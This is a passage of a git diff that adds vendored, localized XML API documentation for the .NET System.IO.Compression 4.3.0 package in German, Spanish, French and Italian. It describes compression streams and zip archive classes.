Zip-Archiv. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Ruft den relativen Pfad des Eintrags im ZIP-Archiv ab. + Der relative Pfad des Eintrags im Zip-Archiv. + + + Ruft den letzten Zeitpunkt ab, zu dem der Eintrag im Zip-Archiv geändert wurde, oder legt diesen fest. + Der letzte Zeitpunkt, an dem der Eintrag im ZIP-Archiv geändert wurde. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Ruft die Größe des unkomprimierten Eintrags im ZIP-Archiv ab. + Die Größe des unkomprimierten Eintrags im ZIP-Archiv. + The value of the property is not available because the entry has been modified. + + + Ruft den Dateinamen des Eintrags im ZIP-Archiv ab. + Der Dateiname des Eintrags im ZIP-Archiv. + + + Öffnet den Eintrag aus dem Zip-Archiv. + Der Stream, der den Inhalt des Eintrags darstellt. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Ruft den relativen Pfad des Eintrags im Zip-Archiv ab. + Der relative Pfad des Eintrags, der in der -Eigenschaft gespeichert ist. + + + Gibt Werte für die Interaktion mit Zip-Archiveinträgen an. + + + Nur das Erstellen neuer Archiveinträge ist zulässig. + + + Nur das Lesen von Archiveinträgen ist zulässig. + + + Lese- und Schreibvorgänge sind für die Archiveinträge zulässig. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/es/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/es/System.IO.Compression.xml new file mode 100644 index 0000000..ceb444e --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/es/System.IO.Compression.xml @@ -0,0 +1,420 @@ + + + + System.IO.Compression + + + + Especifica valores que indican si una operación de compresión hace hincapié en la velocidad o en el tamaño de la compresión. + + + La operación de compresión debe completarse lo antes posible, aunque el archivo resultante no esté comprimido de forma óptima. + + + No debe comprimirse el archivo. + + + La operación de compresión se debe comprimir de forma óptima, incluso aunque la operación tarde más tiempo en completarse. + + + Especifica si se comprime o descomprime la secuencia subyacente. + + + Comprime la secuencia subyacente. + + + Descomprime la secuencia subyacente. + + + Proporciona métodos y propiedades para comprimir y descomprimir secuencias usando el algoritmo Deflate. + + + Inicializa una nueva instancia de la clase usando la secuencia y nivel de compresión especificados. + Secuencia que se va a comprimir. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al comprimir la secuencia. + El valor de es null. + La secuencia no admite operaciones de escritura como compresión.(El es propiedad del objeto de secuencia false.) + + + Inicializa una nueva instancia de la clase usando la secuencia y nivel de compresión especificados y, opcionalmente, deja la secuencia abierta. + Secuencia que se va a comprimir. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al comprimir la secuencia. + true para mantener el objeto de secuencia abierto después de desechar el objeto ; en caso contrario, false. + El valor de es null. + La secuencia no admite operaciones de escritura como compresión.(El es propiedad del objeto de secuencia false.) + + + Inicializa una nueva instancia de la clase usando la secuencia y modo de compresión especificados. + Secuencia que se va a comprimir o descomprimir. + Uno de los valores de la enumeración que indica si se debe comprimir o descomprimir la secuencia. + El valor de es null. + + no es válida valor.o bien es y es false.o bien es y es false. + + + Inicializa una nueva instancia de la clase usando la secuencia y modo de compresión especificados y, opcionalmente, deja la secuencia abierta. + Secuencia que se va a comprimir o descomprimir. + Uno de los valores de la enumeración que indica si se debe comprimir o descomprimir la secuencia. + true para mantener la secuencia abierta después de desechar el objeto ; en caso contrario, false. + El valor de es null. + + no es válida valor.o bien es y es false.o bien es y es false. + + + Obtiene una referencia a la secuencia subyacente. + Un objeto de secuencia que representa la secuencia subyacente. + La secuencia subyacente está cerrada. + + + Obtiene un valor que indica si la secuencia admite operaciones de lectura mientras se descomprime un archivo. + Es true si el valor es Decompress, y la secuencia subyacente está abierta y admite operaciones de lectura; de lo contrario, es false. + + + Obtiene un valor que indica si la secuencia admite operaciones de búsqueda. + false en todos los casos. + + + Obtiene un valor que indica si la secuencia admite operaciones de escritura. + true si el valor de es Compress y la secuencia subyacente admite operaciones de escritura y no está cerrada; en caso contrario, false. + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + La implementación actual de este método no tiene funcionalidad. + La secuencia está cerrada. + + + + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Esta propiedad no se admite en esta secuencia. + + + + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Esta propiedad no se admite en esta secuencia. + + + + + + Introduce varios bytes descomprimidos leídos en la matriz de bytes especificada. + Número de bytes leídos de la matriz de bytes. + Matriz para almacenar los bytes descomprimidos. + Desplazamiento de bytes en donde se colocarán los bytes leídos. + Número máximo de bytes descomprimidos que se van a leer. + El valor de es null. + El valor era Compress cuando se creó el objeto.o bien La secuencia subyacente no admite operaciones de lectura. + + o es menor que cero.o bien longitud menos el punto inicial del índice es menor que . + El formato de los datos no es válido. + La secuencia está cerrada. + + + Esta operación no se admite y siempre produce una excepción . + Un valor largo. + Ubicación en la secuencia. + Uno de los valores de . + Esta propiedad no se admite en esta secuencia. + + + Esta operación no se admite y siempre produce una excepción . + Longitud de la secuencia. + Esta propiedad no se admite en esta secuencia. + + + Escribe los bytes comprimidos en la secuencia subyacente de la matriz de bytes especificada. + Búfer que contiene los datos que se van a comprimir. + Desplazamiento de bytes en donde se leerán los bytes. + Número máximo de bytes que se pueden escribir. + + + Proporciona los métodos y propiedades que permiten comprimir y descomprimir secuencias. + + + Inicializa una nueva instancia de la clase usando la secuencia y nivel de compresión especificados. + Secuencia en la que se van a escribir los datos comprimidos. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al comprimir la secuencia. + El valor de es null. + La secuencia no admite operaciones de escritura como compresión.(El es propiedad del objeto de secuencia false.) + + + Inicializa una nueva instancia de la clase usando la secuencia y nivel de compresión especificados y, opcionalmente, deja la secuencia abierta. + Secuencia en la que se van a escribir los datos comprimidos. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al comprimir la secuencia. + true para mantener el objeto de secuencia abierto después de desechar el objeto ; en caso contrario, false. + El valor de es null. + La secuencia no admite operaciones de escritura como compresión.(El es propiedad del objeto de secuencia false.) + + + Inicializa una nueva instancia de la clase usando la secuencia y modo de compresión especificados. + Secuencia en la que se escriben los datos comprimidos o descomprimidos. + Uno de los valores de la enumeración que indica si se debe comprimir o descomprimir la secuencia. + El valor de es null. + + no es válida valor de enumeración.o bien es y es false.o bien es y es false. + + + Inicializa una nueva instancia de la clase usando la secuencia y modo de compresión especificados y, opcionalmente, deja la secuencia abierta. + Secuencia en la que se escriben los datos comprimidos o descomprimidos. + Uno de los valores de la enumeración que indica si se debe comprimir o descomprimir la secuencia. + true para mantener la secuencia abierta después de desechar el objeto ; en caso contrario, false. + El valor de es null. + + no es válida valor.o bien es y es false.o bien es y es false. + + + Obtiene una referencia a la secuencia subyacente. + Un objeto de secuencia que representa la secuencia subyacente. + La secuencia subyacente está cerrada. + + + + + + Obtiene un valor que indica si la secuencia admite operaciones de lectura mientras se descomprime un archivo. + true si el valor de es Decompress, y la secuencia subyacente admite operaciones de lectura y no está cerrada; en caso contrario, false. + + + + + + Obtiene un valor que indica si la secuencia admite operaciones de búsqueda. + false en todos los casos. + + + Obtiene un valor que indica si la secuencia admite operaciones de escritura. + true si el valor de es Compress y la secuencia subyacente admite operaciones de escritura y no está cerrada; en caso contrario, false. + + + + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + La implementación actual de este método no tiene funcionalidad. + La secuencia está cerrada. + + + + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Esta propiedad no se admite en esta secuencia. + + + + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Esta propiedad no se admite en esta secuencia. + + + + + + Introduce varios bytes descomprimidos leídos en la matriz de bytes especificada. + El número de bytes que se han descomprimido en la matriz de bytes.Si se ha llegado al final de la secuencia, se devuelve cero o el número de bytes leídos. + Matriz que se utiliza para almacenar los bytes descomprimidos. + Desplazamiento de bytes en donde se colocarán los bytes leídos. + Número máximo de bytes descomprimidos que se van a leer. + El valor de es null. + El valor era Compress cuando se creó el objeto.o bienLa secuencia subyacente no admite operaciones de lectura. + + o es menor que cero.o bien longitud menos el punto inicial del índice es menor que . + El formato de los datos no es válido. + La secuencia está cerrada. + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Ubicación en la secuencia. + Uno de los valores de . + Esta propiedad no se admite en esta secuencia. + + + Esta propiedad no se admite y siempre produce una excepción . + Longitud de la secuencia. + Esta propiedad no se admite en esta secuencia. + + + Escribe los bytes comprimidos en la secuencia subyacente de la matriz de bytes especificada. + Búfer que contiene los datos que se van a comprimir. + Desplazamiento de bytes en donde se leerán los bytes. + Número máximo de bytes que se pueden escribir. + La operación de escritura no se puede realizar porque la secuencia está cerrada. + + + Representa un paquete de archivos comprimidos en formato de archivo zip. + + + Inicializa una nueva instancia de la clase a partir de la secuencia especificada. + Secuencia que contiene el archivo que se va a leer. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Inicializa una nueva instancia de la clase a partir de la secuencia especificada y con el modo especificado. + Flujo de entrada o de salida. + Uno de los valores de enumeración que indica si el archivo zip se usa para leer, crear o actualizar entradas. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Inicializa una nueva instancia de la clase en el flujo especificado para el modo especificado y, opcionalmente, deja el flujo abierto. + Flujo de entrada o de salida. + Uno de los valores de enumeración que indica si el archivo zip se usa para leer, crear o actualizar entradas. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Inicializa una nueva instancia de la clase en el flujo especificado para el modo especificado, usa la codificación especificada para los nombres de entrada y opcionalmente deja el flujo abierto. + Flujo de entrada o de salida. + Uno de los valores de enumeración que indica si el archivo zip se usa para leer, crear o actualizar entradas. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + Codificación que se va a usar al leer o escribir nombres de entrada en este archivo.Especifique un valor para este parámetro únicamente cuando se necesite una codificación para la interoperabilidad con herramientas y bibliotecas de archivos zip que no admiten la codificación UTF-8 para los nombres de entrada. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Crea una entrada vacía en el archivo zip con la ruta de acceso y el nombre de entrada especificados. + Una entrada vacía en el archivo zip. + Ruta de acceso, relativa a la raíz del archivo, que especifica el nombre de la entrada que se va a crear. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Crea una entrada vacía en el archivo zip con el nombre de entrada y el nivel de compresión especificados. + Una entrada vacía en el archivo zip. + Ruta de acceso, relativa a la raíz del archivo, que especifica el nombre de la entrada que se va a crear. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al crear la entrada. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Libera los recursos utilizados por la instancia actual de la clase . + + + Llamado por los métodos y para liberar los recursos no administrados utilizados por la instancia actual de la clase de , y termina opcionalmente de escribir el archivo y libera los recursos administrados. + true para terminar de escribir el archivo y liberar recursos no administrados y administrados; false para liberar solo recursos no administrados. + + + Obtiene la colección de entradas que están actualmente en el archivo zip. + La colección de entradas que están actualmente en el archivo zip. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Recupera un contenedor para la entrada especificada en el archivo zip. + Un contenedor para la entrada especificada en el archivo; null si la entrada no existe en el archivo. + Ruta de acceso, relativa a la raíz del archivo, que identifica la entrada a recuperar. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Obtiene un valor que describe el tipo de acción que el archivo zip puede realizar en las entradas. + Uno de los valores de enumeración que describe el tipo de acción (lectura, creación o actualización) que puede realizar el archivo zip en las entradas. + + + Representa un archivo comprimido incluido en un archivo zip. + + + Obtiene el archivo zip al que pertenece la entrada. + El archivo zip al que pertenece la entrada o null si se ha eliminado la entrada. + + + Obtiene el tamaño comprimido de la entrada en el archivo zip. + Tamaño comprimido de la entrada en el archivo zip. + The value of the property is not available because the entry has been modified. + + + Elimina la entrada del archivo zip. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Obtiene la ruta de acceso relativa de la entrada en el archivo zip. + Ruta de acceso relativa de la entrada en el archivo zip. + + + Obtiene o establece la última vez que se cambió la entrada en el archivo zip. + Última vez que la entrada del archivo zip se cambió. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Obtiene el tamaño descomprimido de la entrada en el archivo zip. + Tamaño descomprimido de la entrada en el archivo zip. + The value of the property is not available because the entry has been modified. + + + Obtiene el nombre de archivo de la entrada en el archivo zip. + Nombre de archivo de la entrada en el archivo zip. + + + Abre la entrada desde el archivo zip. + La secuencia que representa el contenido de la entrada. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Recupera la ruta de acceso relativa de la entrada en el archivo zip. + La ruta de acceso relativa de la entrada, que es el valor almacenado en la propiedad . + + + Especifica los valores para interactuar con entradas de archivo zip. + + + Solo se permite crear nuevas entradas de archivo. + + + Solo se permite leer entradas del archivo. + + + Ambas operaciones de lectura y escritura se permiten para las entradas del archivo. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/fr/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/fr/System.IO.Compression.xml new file mode 100644 index 0000000..4c3bfb3 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/fr/System.IO.Compression.xml @@ -0,0 +1,430 @@ + + + + System.IO.Compression + + + + Spécifie les valeurs qui indiquent si une opération de compression souligne la rapidité ou la taille de compression. + + + L'opération de compression doit s'exécuter aussi rapidement que possible, même si le fichier résultant n'est pas compressé de manière optimale. + + + Aucune compression ne doit être exécutée sur le fichier. + + + L'opération de compression doit être compressée de manière optimale, même si elle prend plus de temps. + + + Spécifie s'il faut compresser ou décompresser le flux sous-jacent. + + + Compresse le flux sous-jacent. + + + Décompresse le flux sous-jacent. + + + Fournit des méthodes et des propriétés pour compresser et décompresser des flux à l'aide de l'algorithme Deflate. + + + Initialise une nouvelle instance de la classe à l'aide du flux et du niveau de compression spécifiés. + Flux à compresser. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur la rapidité et l'efficacité de compression en compressant le flux de données. + + a la valeur null. + Le flux ne prend pas en charge les opérations d'écriture telles que la compression.(La propriété sur l'objet de flux est false.) + + + Initialise une nouvelle instance de la classe à l'aide du flux et du niveau de compression spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux à compresser. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur la rapidité et l'efficacité de compression en compressant le flux de données. + true pour maintenir l'objet de flux ouvert après avoir supprimé l'objet  ; sinon, false. + + a la valeur null. + Le flux ne prend pas en charge les opérations d'écriture telles que la compression.(La propriété sur l'objet de flux est false.) + + + Initialise une nouvelle instance de la classe à l'aide du flux et du mode de compression spécifiés. + Flux à compresser ou à décompresser. + L'une des valeurs d'énumération qui indique s'il faut compresser ou décompresser le flux. + + a la valeur null. + + n'est pas une valeur valide.ou est et est false.ou est et est false. + + + Initialise une nouvelle instance de la classe à l'aide du flux et du mode de compression spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux à compresser ou à décompresser. + L'une des valeurs d'énumération qui indique s'il faut compresser ou décompresser le flux. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + a la valeur null. + + n'est pas une valeur valide.ou est et est false.ou est et est false. + + + Obtient une référence au flux sous-jacent. + Objet de flux qui représente le flux sous-jacent. + Le flux sous-jacent est fermé. + + + Obtient une valeur indiquant si le flux prend en charge la lecture pendant la décompression d'un fichier. + true si la valeur est Decompress, que le flux sous-jacent est ouvert et qu'il prend en charge la lecture ; sinon, false. + + + Obtient une valeur indiquant si le flux prend en charge la recherche. + false dans tous les cas. + + + Obtient une valeur indiquant si le flux prend en charge l'écriture. + true si la valeur de est Compress, que le flux sous-jacent prend en charge l'écriture et qu'il n'est pas fermé ; sinon, false. + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + L'implémentation actuelle de cette méthode n'a aucune fonctionnalité. + Le flux est fermé. + + + + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Cette propriété n'est pas prise en charge sur ce flux. + + + + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Cette propriété n'est pas prise en charge sur ce flux. + + + + + + Lit un certain nombre d'octets décompressés dans le tableau d'octets spécifié. + Nombre d'octets qui ont été lus dans le tableau d'octets. + Tableau utilisé pour stocker les octets décompressés. + Dans , décalage d'octet auquel les octets lus seront placés. + Nombre maximal d'octets décompressés à lire. + + a la valeur null. + La valeur était Compress lorsque l'objet a été créé.ou Le flux sous-jacent ne prend pas en charge la lecture. + + ou est inférieur à zéro.ouLa longueur de moins le point de départ de l'index est inférieure à . + Le format des données n'est pas valide. + Le flux est fermé. + + + Cette opération n'est pas prise en charge et lève toujours . + Valeur Long. + Emplacement dans le flux. + Une des valeurs de . + Cette propriété n'est pas prise en charge sur ce flux. + + + Cette opération n'est pas prise en charge et lève toujours . + Longueur du flux. + Cette propriété n'est pas prise en charge sur ce flux. + + + Écrit les octets compressés dans le flux sous-jacent à partir du tableau d'octets spécifié. + Mémoire tampon qui contient les données à compresser. + Dans , décalage d'octet à partir duquel les octets seront lus. + Nombre maximal d'octets à écrire. + + + Fournit les méthodes et les propriétés utilisées pour compresser et décompresser des flux. + + + Initialise une nouvelle instance de la classe à l'aide du flux et du niveau de compression spécifiés. + Flux dans lequel écrire les données compressées. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur la rapidité et l'efficacité de compression en compressant le flux de données. + + a la valeur null. + Le flux ne prend pas en charge les opérations d'écriture telles que la compression.(La propriété sur l'objet de flux est false.) + + + Initialise une nouvelle instance de la classe à l'aide du flux et du niveau de compression spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux dans lequel écrire les données compressées. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur la rapidité et l'efficacité de compression en compressant le flux de données. + true pour maintenir l'objet de flux ouvert après avoir supprimé l'objet  ; sinon, false. + + a la valeur null. + Le flux ne prend pas en charge les opérations d'écriture telles que la compression.(La propriété sur l'objet de flux est false.) + + + Initialise une nouvelle instance de la classe à l'aide du flux et du mode de compression spécifiés. + Flux dans lequel les données compressées ou décompressées sont écrites. + L'une des valeurs d'énumération qui indique s'il faut compresser ou décompresser le flux. + + a la valeur null. + + n'est pas une valeur d'énumération valide.ou est et est false.ou est et est false. + + + Initialise une nouvelle instance de la classe à l'aide du flux et du mode de compression spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux dans lequel les données compressées ou décompressées sont écrites. + L'une des valeurs d'énumération qui indique s'il faut compresser ou décompresser le flux. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + a la valeur null. + + n'est pas une valeur valide.ou est et est false.ou est et est false. + + + Obtient une référence au flux sous-jacent. + Objet de flux qui représente le flux sous-jacent. + Le flux sous-jacent est fermé. + + + + + + Obtient une valeur indiquant si le flux prend en charge la lecture pendant la décompression d'un fichier. + true si la valeur de est Decompress,, que le flux sous-jacent prend en charge la lecture et qu'il n'est pas fermé ; sinon, false. + + + + + + Obtient une valeur indiquant si le flux prend en charge la recherche. + false dans tous les cas. + + + Obtient une valeur indiquant si le flux prend en charge l'écriture. + true si la valeur de est Compress, que le flux sous-jacent prend en charge l'écriture et qu'il n'est pas fermé ; sinon, false. + + + + + + Libère les ressources non managées utilisées par l'objet et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + L'implémentation actuelle de cette méthode n'a aucune fonctionnalité. + Le flux est fermé. + + + + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Cette propriété n'est pas prise en charge sur ce flux. + + + + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Cette propriété n'est pas prise en charge sur ce flux. + + + + + + Lit un certain nombre d'octets décompressés dans le tableau d'octets spécifié. + Nombre d'octets qui ont été décompressés dans le tableau d'octets.Si la fin du flux a été atteinte, zéro ou le nombre d'octets lus est retourné. + Tableau utilisé pour décompresser les octets. + Dans , décalage d'octet auquel les octets lus seront placés. + Nombre maximal d'octets décompressés à lire. + + a la valeur null. + La valeur était Compress lorsque l'objet a été créé.ouLe flux sous-jacent ne prend pas en charge la lecture. + + ou est inférieur à zéro.ouLa longueur de moins le point de départ de l'index est inférieure à . + Le format des données n'est pas valide. + Le flux est fermé. + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Emplacement dans le flux. + Une des valeurs de . + Cette propriété n'est pas prise en charge sur ce flux. + + + Cette propriété n'est pas prise en charge et lève toujours . + Longueur du flux. + Cette propriété n'est pas prise en charge sur ce flux. + + + Écrit les octets compressés dans le flux sous-jacent à partir du tableau d'octets spécifié. + Mémoire tampon qui contient les données à compresser. + Dans , décalage d'octet à partir duquel les octets seront lus. + Nombre maximal d'octets à écrire. + L'opération d'écriture ne peut pas être exécutée car le flux est fermé. + + + Représente un package de fichiers compressés au format d'archivage zip. + + + Initialise une nouvelle instance de la classe à partir du flux spécifié. + Flux qui contient l'archive à lire. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Initialise une nouvelle instance de la classe à partir du flux spécifié et avec le mode spécifié. + Flux de sortie ou d'entrée. + Une des valeurs d'énumération qui indique si l'archive zip est utilisée pour lire, créer ou mettre à jour des entrées. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initialise une nouvelle instance de la classe sur le flux de données spécifié pour le mode spécifié, et laisse éventuellement le flux ouvert. + Flux de sortie ou d'entrée. + Une des valeurs d'énumération qui indique si l'archive zip est utilisée pour lire, créer ou mettre à jour des entrées. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initialise une nouvelle instance de la classe sur le flux spécifié pour le mode spécifié, utilise l'encodage spécifié pour les noms d'entrée, et permet éventuellement de laisser le flux ouvert. + Flux de sortie ou d'entrée. + Une des valeurs d'énumération qui indique si l'archive zip est utilisée pour lire, créer ou mettre à jour des entrées. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + Encodage à utiliser lors de la lecture ou de l'écriture des noms d'entrée dans cette archive.Spécifie une valeur pour ce paramètre seulement quand un encodage est obligatoire pour l'interopérabilité avec les outils et les bibliothèques d'archivage zip qui ne prennent pas en charge l'encodage UTF-8 pour les noms d'entrée. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Crée une entrée vide qui a le chemin d'accès et le nom d'entrée spécifiés dans l'archive zip. + Entrée vide dans l'archive zip. + Chemin d'accès relatif à la racine de l'archive, qui spécifie le nom de l'entrée à créer. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Crée une entrée vide qui a le nom d'entrée et le niveau de compression spécifiés dans l'archive zip. + Entrée vide dans l'archive zip. + Chemin d'accès relatif à la racine de l'archive, qui spécifie le nom de l'entrée à créer. + Une des valeurs d'énumération qui indique s'il faut privilégier la rapidité ou l'efficacité de la compression lors de la création de l'entrée. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Libère les ressources utilisées par l'instance actuelle de la classe . + + + Appelée par les méthodes et pour libérer les ressources non managées utilisées par l'instance actuelle de la classe , et éventuellement finit d'écrire l'archive et libère les ressources managées. + true pour finir l'écriture de l'archive et libérer les ressources managées et non managées ; false pour libérer seulement des ressources non managées. + + + Obtient la collection d'entrées figurant actuellement dans l'archive zip. + Collection d'entrées figurant actuellement dans l'archive zip. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Récupère un wrapper pour l'entrée spécifiée dans l'archive zip. + Wrapper pour l'entrée spécifiée dans l'archive ; null si l'entrée n'existe pas dans l'archive. + Chemin d'accès relatif à la racine de l'archive, qui identifie l'entrée à récupérer. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Obtient une valeur qui décrit le type d'action que l'archive zip peut effectuer sur des entrées. + Une des valeurs d'énumération qui décrit le type d'action (lecture, création ou mise à jour) que l'archive zip peut effectuer sur les entrées. + + + Représente un fichier compressé dans une archive zip. + + + Obtient l'archive zip à laquelle l'entrée appartient. + Archive zip à laquelle l'entrée appartient, ou null si l'entrée a été supprimée. + + + Obtient la taille compressée de l'entrée dans l'archive zip. + Taille compressée de l'entrée dans l'archive zip. + The value of the property is not available because the entry has been modified. + + + Supprime l'entrée de l'archive zip. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Obtient le chemin d'accès relatif de l'entrée dans l'archive zip. + Chemin d'accès relatif de l'entrée dans l'archive zip. + + + Obtient ou définit la date de dernière modification de l'entrée dans l'archive zip. + Date/heure à laquelle l'entrée a été modifiée pour la dernière fois dans l'archive zip. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Obtient la taille décompressée de l'entrée dans l'archive zip. + Taille décompressée de l'entrée dans l'archive zip. + The value of the property is not available because the entry has been modified. + + + Obtient le nom du fichier de l'entrée dans l'archive zip. + Nom de fichier de l'entrée dans l'archive zip. + + + Ouvre l'entrée à partir de l'archive zip. + Flux qui représente le contenu de l'entrée. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Récupère le chemin d'accès relatif de l'entrée dans l'archive zip. + Chemin d'accès relatif de l'entrée, qui est la valeur stockée dans la propriété . + + + Spécifie les valeurs pour interagir avec les entrées d'archive ZIP. + + + Seule la création de nouvelles entrées d'archivage est autorisée. + + + Seule la lecture des entrées d'archivage est autorisée. + + + Les opérations de lecture et d'écriture sont autorisées pour les entrées d'archivage. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/it/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/it/System.IO.Compression.xml new file mode 100644 index 0000000..79fddbe --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/it/System.IO.Compression.xml @@ -0,0 +1,430 @@ + + + + System.IO.Compression + + + + Specifica i valori che indicano se un'operazione di compressione privilegia le dimensioni di compressione o la velocità. + + + L'operazione di compressione deve essere completata il più rapidamente possibile, anche se il file risultante non è compresso in modo ottimale. + + + Non deve essere eseguita alcuna compressione del file. + + + L'operazione di compressione deve essere compressa in modo ottimale, anche se l'operazione richiede più tempo per il completamento. + + + Specifica se comprimere o decomprimere il flusso sottostante. + + + Comprime il flusso sottostante. + + + Decomprime il flusso sottostante. + + + Fornisce metodi e proprietà per la compressione e la decompressione dei flussi mediante l'algoritmo Deflate. + + + Inizializza una nuova istanza della classe usando il livello di compressione del flusso specificato. + Flusso da comprimere. + Uno dei valori di enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si comprime il flusso. + + è null. + Il flusso non supporta le operazioni di scrittura come la compressione.(La proprietà di sull'oggetto di flusso è false). + + + Inizializza una nuova istanza della classe usando il livello di compressione del flusso specificato. Facoltativamente mantiene aperto il flusso. + Flusso da comprimere. + Uno dei valori di 